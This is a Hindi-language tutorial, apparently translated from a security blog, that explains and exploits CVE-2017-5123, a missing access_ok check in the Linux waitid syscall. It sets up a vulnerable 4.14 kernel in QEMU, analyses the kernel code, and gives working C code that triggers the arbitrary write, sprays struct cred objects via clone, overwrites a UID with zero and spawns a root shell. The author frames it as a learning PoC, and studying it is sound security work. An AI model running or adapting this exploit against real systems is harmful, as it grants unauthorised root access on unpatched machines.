
PoC CVE-2017-5123 - LPE - SMEP/SMAP को बायपास करना। कोई KASLR नहीं
PoC CVE-2017-5123 - LPE - SMEP/SMAP को बायपास करना। KASLR नहीं
इस छोटे से लेख में, मैं एक कर्नेल भेद्यता का विश्लेषण करूंगा जो हमें रूट विशेषाधिकार प्राप्त करने की अनुमति देती है।
यह फ़ाइल चार भागों में विभाजित है:
मैं यह बताना चाहता हूं कि इस CVE का शोषण करने के कई बेहतर तरीके हैं (वास्तव में, यह केवल कर्नेल सीखने के लिए एक PoC है, इसे जंगल में उपयोग नहीं किया जा सकता) लेकिन मुझे लगता है कि यह पद्धति कर्नेल शोषण के परिचय के रूप में उपयोगी हो सकती है।
यह भेद्यता 4c48abe91be0 में पेश की गई थी, इसलिए हमें कर्नेल का वह संस्करण बनाना होगा।
यह थोड़ा मुश्किल हो सकता है क्योंकि यह एक पुराना संस्करण है और कोड को पैच किया जाना चाहिए।
मैंने पहले से पैच किए गए कर्नेल कोड के साथ एक रिपॉजिटरी और एक .config फ़ाइल बनाई है ताकि आप क्लोन और बिल्ड कर सकें।
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
ध्यान दें कि यह कर्नेल virtio ड्राइवरों के साथ बनाया जाएगा ताकि आप वीएम से/में फ़ाइलें साझा करने के लिए virtio डिस्क का उपयोग कर सकें।
अब, हम प्रारंभिक रूटफ्स बनाएंगे:
qemu-img create -f raw hda.raw 10G
# डिस्क को ext4 में फॉर्मेट करें
mkfs.ext4 ./hda.raw
# इमेज के लिए माउंटपॉइंट बनाएं
mkdir /tmp/mount1
# डिस्क माउंट करें
sudo mount -o loop ./hda.raw /tmp/mount1
फिर, हमें एक बुनियादी लिनक्स वितरण स्थापित करना चाहिए, उदाहरण के लिए pacstrap या debootstrap का उपयोग करके।
sudo pacstrap /tmp/mount1 base base-devel vim
अंत में, हम सिस्टम को संशोधित कर सकते हैं:
# एक 'test' उपयोगकर्ता जोड़ें
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# बिना पासवर्ड के
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# हम होस्ट और गेस्ट के बीच फ़ाइलें साझा करने के लिए एक virtio डिस्क माउंट कर सकते हैं
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# sudo अनुमति होना उपयोगी है
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
यदि सब कुछ क्रम में है, तो हम अब qemu के साथ अपने परीक्षण सिस्टम का प्रयास कर सकते हैं:
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
CVE का विवरण कहता है कि waitid सिस्टम कॉल के दौरान एक अप्रतिबंधित लेखन ऑपरेशन है।
आइए kernel/exit.c खोलें और कोड देखें:
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
यह फ़ंक्शन काफी सीधा है: कुछ जांचों के बाद, unsafe_put_user(...) के विभिन्न कॉल हैं और फ़ंक्शन वापस आ जाता है।
इस फ़ंक्शन का मुख्य भाग unsafe_put_user(...) फ़ंक्शन से बना है, तो चलिए वहां चलते हैं (arch/x86/include/asm/uaccess.h):
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
टिप्पणी में एक बड़ी मोटी चेतावनी है: यदि आप unsafe_put/get_user का उपयोग करना चाहते हैं, तो आपको पहले access_ok() कॉल करना चाहिए और उन्हें user_access_begin/end() से घेरना चाहिए।
यदि हम पिछले कोड (waitid) पर एक नज़र डालें, तो हम देख सकते हैं कि access_ok() कभी नहीं बुलाया जाता है, इसलिए सिस्टम कॉल इस चेतावनी का उल्लंघन करता है।
लेकिन ये मैक्रोज़ क्या हैं?
SMAP और SMEP दो सुरक्षा विशेषताएं हैं जो शोषण लिखना कठिन बनाने के लिए कर्नेल में पेश की गई थीं। ध्यान दें कि ये विशेषताएं CPU द्वारा लागू की जाती हैं।
SMEP सुपरवाइज़र मोड में CPU होने पर उपयोगकर्तास्पेस कोड को निष्पादित करने से रोकता है; SMAP, इसके बजाय, उपयोगकर्ता मेमोरी तक पढ़ने/लिखने की पहुंच को अवरुद्ध करता है।
कर्नेल को उपयोगकर्ता मेमोरी में/से डेटा लिखने/पढ़ने की आवश्यकता होती है और इसे दो तरीकों से पूरा किया जा सकता है:
copy_from_user) जो कर्नेल स्पेस में मेमोरी कॉपी करने की अनुमति देते हैं;जैसा कि हम unsafe_put_user की परिभाषा में देख सकते हैं, यह फ़ंक्शन केवल x के मान को ptr द्वारा इंगित मेमोरी में कॉपी करेगा (और यदि कोई त्रुटि हुई तो err_label पर जाएगा)। हमने अभी कहा है कि कर्नेल SMAP के कारण उपयोगकर्तास्पेस तक नहीं पहुंच सकता है और यही कारण है कि इन फ़ंक्शनों को user_access_begin/end() के बीच लपेटा जाना चाहिए।
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
जैसा कि हम देख सकते हैं, user_access_begin/end केवल ASM निर्देश stac और clac हैं।
stac: "EFLAGS रजिस्टर में AC फ़्लैग बिट सेट करता है। यह उपयोगकर्ता-मोड डेटा एक्सेस की संरेखण जाँच को सक्षम कर सकता है। यह CR4 रजिस्टर में SMAP बिट सेट होने पर भी उपयोगकर्ता-मोड पृष्ठों तक स्पष्ट सुपरवाइज़र-मोड डेटा एक्सेस की अनुमति देता है।"clac: "EFLAGS रजिस्टर में AC फ़्लैग बिट को साफ़ करता है। यह उपयोगकर्ता-मोड डेटा एक्सेस की किसी भी संरेखण जाँच को अक्षम करता है। यदि CR4 रजिस्टर में SMAP बिट सेट है, तो यह उपयोगकर्ता-मोड पृष्ठों तक स्पष्ट सुपरवाइज़र-मोड डेटा एक्सेस की अनुमति नहीं देता है।"मूल रूप से, ये दो मैक्रोज़ SMAP को सक्षम/अक्षम करते हैं।
हमारी पिछली "चेतावनी" access_ok फ़ंक्शन का भी उल्लेख करती है:
/**
* access_ok: - Checks if a user space pointer is valid
* @type: Type of access: %VERIFY_READ or %VERIFY_WRITE. Note that
* %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
* to write to a block, it is always safe to read from it.
* @addr: User space pointer to start of block to check
* @size: Size of block to check
*
* Context: User context only. This function may sleep if pagefaults are
* enabled.
*
* Checks if a pointer to a block of memory in user space is valid.
*
* Returns true (nonzero) if the memory block may be valid, false (zero)
* if it is definitely invalid.
*
* Note that, depending on architecture, this function probably just
* checks that the pointer is in the user space range - after calling
* this function, memory access functions may still return -EFAULT.
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
यहां टिप्पणी स्वयं व्याख्यात्मक है: यह मैक्रो जांचता है कि क्या पॉइंटर एक वैध उपयोगकर्ता स्पेस पॉइंटर है।
आइए waitid कोड पर फिर से एक नज़र डालें:
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
जैसा कि आपने पहले ही अनुमान लगाया, access_ok() की अनुपस्थिति मेमोरी में हर जगह मनमाना लेखन की ओर ले जाती है क्योंकि infop पॉइंटर पूरी तरह से हमलावर द्वारा नियंत्रित होता है।
कमजोर पथ तक पहुंचना वास्तव में आसान है और हम इस सरल कोड के साथ एक ट्रिगर बना सकते हैं:
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] Trying to overwrite 0x%016lx\r", where);
//int pid = fork(); // fork syscall का उपयोग करना भी संभव है
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // हमें थ्रेड की प्रतीक्षा करनी चाहिए
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
यह सरल कोड भेद्यता को ट्रिगर करेगा और where पते द्वारा इंगित मेमोरी में लिखेगा।
यदि हम इस ट्रिगर की जांच करना चाहते हैं तो हम gdb का उपयोग कर सकते हैं। उदाहरण के लिए, हम एक मनमाना पता चुन सकते हैं और इसे ओवरराइट करने के लिए trigger_bug फ़ंक्शन का उपयोग कर सकते हैं।
इस भेद्यता का विभिन्न तरीकों से शोषण किया जा सकता है, लेकिन मैं एक बहुत ही सरल दृष्टिकोण पसंद करता हूं।
याद रखें कि हम जहां चाहें वहां लिख सकते हैं, लेकिन लिखा गया डेटा आंशिक रूप से नियंत्रित होता है। हम एक पते को 0 से ओवरराइट कर सकते हैं।
मूल विचार हमारी प्रक्रिया के UID को ओवरराइट करना और रूट बनना है, लेकिन पहले हमें यह समझने की आवश्यकता है कि लिनक्स में क्रेडेंशियल्स क्या हैं।
हम fork सिस्टम कॉल में खुदाई करके शुरू करते हैं। इस फ़ंक्शन का उपयोग नई प्रक्रियाएं बनाने के लिए किया जाता है।
हम kernel/fork.c में कोड की जांच कर सकते हैं:
SYSCALL_DEFINE0(fork)
{
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
तो, fork सिस्टम कॉल केवल हार्डकोडेड पैरामीटर के साथ _do_fork के लिए एक रैपर है।
यह अंतिम फ़ंक्शन थोड़ा लंबा है, लेकिन हम इसे इस प्रकार सारांशित कर सकते हैं:
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
......
// यह एक और टास्क स्ट्रक्ट बनाएगा लेकिन प्रक्रिया शुरू नहीं करेगा।
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
......
// नवनिर्मित टास्क को जगाएं। यह टास्क की स्थिति को RUNNING पर सेट करेगा और रनिंग क्यू में एनक्यू करेगा
wake_up_new_task(p);
......
put_pid(pid);
} else {
nr = PTR_ERR(p);
}
return nr;
}
यह फ़ंक्शन एक नया task_struct ऑब्जेक्ट आवंटित करेगा। हालांकि यह संरचना वास्तव में महत्वपूर्ण है (यह एक प्रक्रिया का वर्णन करती है), हम अपना ध्यान cred फ़ील्ड पर केंद्रित करेंगे:
...
/* प्रक्रिया क्रेडेंशियल्स: */
/* अटैच पर ट्रेसर के क्रेडेंशियल्स: */
const struct cred __rcu *ptracer_cred;
/* उद्देश्य और वास्तविक व्यक्तिपरक टास्क क्रेडेंशियल्स (COW): */
const struct cred __rcu *real_cred;
/* प्रभावी (ओवरराइडेबल) व्यक्तिपरक टास्क क्रेडेंशियल्स (COW): */
const struct cred __rcu *cred;
...
जैसा कि हम देख सकते हैं, struct cred के लिए (तीन) पॉइंटर हैं। आइए देखें कि यह संरचना कैसे बनी है (include/linux/cred.h):
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* सब्सक्राइब की गई प्रक्रियाओं की संख्या */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* टास्क का वास्तविक UID */
kgid_t gid; /* टास्क का वास्तविक GID */
kuid_t suid; /* टास्क का सहेजा गया UID */
kgid_t sgid; /* टास्क का सहेजा गया GID */
kuid_t euid; /* टास्क का प्रभावी UID */
kgid_t egid; /* टास्क का प्रभावी GID */
kuid_t fsuid; /* VFS ops के लिए UID */
kgid_t fsgid; /* VFS ops के लिए GID */
......
जैसा कि हम देख सकते हैं, एक प्रक्रिया का UID केवल एक अहस्ताक्षरित पूर्णांक है (kuid_t की परिभाषा का पालन करें) इसलिए हम रूट बनने के लिए इस मान को 0 से ओवरराइट कर सकते हैं।
task_struct संरचना copy_process फ़ंक्शन में आवंटित की जाती है जो थोड़ा जटिल है और इसका मुख्य लक्ष्य प्रक्रिया को एक नई में "कॉपी" करना है।
हम copy_creds(p, clone_flags) पर ध्यान केंद्रित कर सकते हैं जो इस प्रकार परिभाषित है:
/*
* फोर्क() द्वारा बनाई गई नई प्रक्रिया के लिए क्रेडेंशियल्स कॉपी करें
*
* हम साझा करते हैं यदि हम कर सकते हैं, लेकिन कुछ परिस्थितियों में हमें एक नया सेट उत्पन्न करना होगा।
*
* नई प्रक्रिया को वर्तमान प्रक्रिया के व्यक्तिपरक क्रेडेंशियल्स अपने उद्देश्य और व्यक्तिपरक क्रेडेंशियल्स के रूप में मिलते हैं
*/
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
.........
error_put:
put_cred(new);
return ret;
}
जैसा कि हम देख सकते हैं, यह फ़ंक्शन prepare_creds को कॉल करता है जहां वास्तविक आवंटन किया जाता है।
अब हमारे पास struct cred की एक (छद्म) मनमानी संख्या आवंटित करने का एक पथ है:
_do_fork()copy_process()copy_creds()हमारी अंतिम समस्या यह है कि उपयोगकर्तास्पेस से _do_fork() को कैसे कॉल किया जाए। हम fork का उपयोग कर सकते हैं लेकिन यह धीमा हो सकता है, इसलिए हम इसके बजाय clone का उपयोग करेंगे।
नोट: हम pthread का उपयोग नहीं कर सकते हैं क्योंकि झंडे: यदि आप copy_creds कोड देखते हैं, तो आपको ध्यान देना चाहिए कि एक पथ है जहां संरचना वास्तव में आवंटित नहीं होती है।
अब, एक छोटा सा पुनर्कथन:
0 लिख सकते हैं0 से ओवरराइट करते हैं, तो उसे रूट अनुमतियाँ मिल जाती हैं।अब हमें यह जानने की आवश्यकता है कि मेमोरी में कहाँ लिखना है, और हालाँकि KASLR अक्षम है, एक struct cred का पता पर्याप्त स्थिर नहीं है, इसलिए मैंने मेमोरी स्प्रेइंग के साथ आगे बढ़ने का निर्णय लिया।
हमें मेमोरी में struct cred खोजने की आवश्यकता है ताकि पतों की एक श्रृंखला का पता लगाया जा सके। हम यह जैसे स्क्रिप्ट के साथ gdb और python का उपयोग कर सकते हैं:
....
for task in task_lists():
#gdb.write("{address} {pid} {comm}\n".format(
# address=task,
# pid=task["pid"],
# comm=task["comm"].string()))
comm = task["comm"].string()
# अपने निष्पादन योग्य का नाम डालें
if comm == "exploit":
print(task['cred'])
....
नोट: यह स्क्रिप्ट केवल KASLR अक्षम और डीबग प्रतीकों के साथ काम करती है (हमें init_task पॉइंटर की आवश्यकता है)।
हम कुछ बार प्रयास कर सकते हैं और देख सकते हैं कि ढेर नीचे की ओर बढ़ता है, इसलिए हम कम पते से प्रयास कर सकते हैं और ऊपर जा सकते हैं।
अब हम बड़ी संख्या में प्रक्रियाओं को उत्पन्न करने के लिए clone सिस्टम कॉल का उपयोग कर सकते हैं और gdb की बदौलत हम पतों की जांच कर सकते हैं:
stack=malloc(STACK_SIZE)+STACK_SIZE;
for(x=0;x<MAX_THREADS;x++){
stackTop = malloc(STACK_SIZE) + STACK_SIZE;
if (!stackTop){
perror("[-] Malloc");
return -1;
}
// spray_thread फ़ंक्शन केवल एक अनंत लूप हो सकता है
pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1){
perror("\n\nCLONE");
return -1;
}
printf("[0] Process created: %d\r", x);
}
नोट: हो सकता है कि आप 4k से अधिक प्रक्रियाएं नहीं बना सकें। यदि ऐसा मामला है, तो ulimits देखें।
अंत में, हम अपना PoC लिख सकते हैं।
trigger_bug को अलग-अलग पतों (संरचना की खोज) के साथ कॉल करना पर्याप्त है, जबकि हमारा उत्पन्न थ्रेड अपने UID की जांच करेगा, इस प्रकार:
struct shared_area{
int one_win;
};
struct shared_area glob_var;
// स्प्रे किया गया थ्रेड
int spray_thread(void *arg){
int uid;
int previous_one = syscall(__NR_getuid);
// syscall getUID पर लूप
while(1){
uid = syscall(__NR_getuid);
//printf("UID: %d\n",uid);
// यदि लौटाया गया UID पिछले से भिन्न है, तो हमने struct cred क्षेत्र को हिट किया है
if (uid != previous_one){
printf("WIN!! with %d", uid);
// सिस्टम को स्थिर करने के लिए अन्य थ्रेड को मारें
glob_var.one_win = 1;
// बस एक शेल स्पॉन करें
system("/bin/sh");
}
if(glob_var.one_win == 1)
return 1;
}
return 0;
}
संरचना को हिट करने की 50% संभावना है, इसलिए कुछ प्रयासों के बाद आप रूट विशेषाधिकार प्राप्त कर सकते हैं।

यह एक (बुनियादी) PoC है और स्प्रेइंग सही से बहुत दूर है। यह केवल कर्नेल की अद्भुत दुनिया का एक "परिचय" है, ऐसी कई अवधारणाएं हैं जिन्हें मैंने छोड़ दिया है, लेकिन वे अत्यंत महत्वपूर्ण हैं (जैसे मेमोरी प्रबंधन)। यदि आप गहराई से अध्ययन करना चाहते हैं, तो आप prepare_creds और मेमोरी आवंटन पर एक नज़र डाल सकते हैं।
KASLR अक्षम है, लेकिन यह भेद्यता इस शमन को भी बायपास करने की अनुमति देती है (unsafe_put_user अमान्य पते से क्रैश नहीं होता है) लेकिन मुझे नहीं लगता कि ब्रूटफोर्सिंग की एक नई "परत" जोड़ना उपयोगी है यदि आपका लक्ष्य कर्नेल सीखना है। यदि आपका उद्देश्य इस भेद्यता का जंगल में उपयोग करना है, तो आपको एक अलग शोषण लिखना चाहिए (कम से कम, अलग स्प्रेइंग)।
सोचने के लिए भोजन: मैंने इस भेद्यता का उपयोग ret2dir तकनीक को समझने और आज़माने के लिए किया (संकेत: आप उपनाम पते पर लेखन को ट्रिगर कर सकते हैं और उपयोगकर्तास्पेस पते के साथ संशोधन पढ़ सकते हैं)।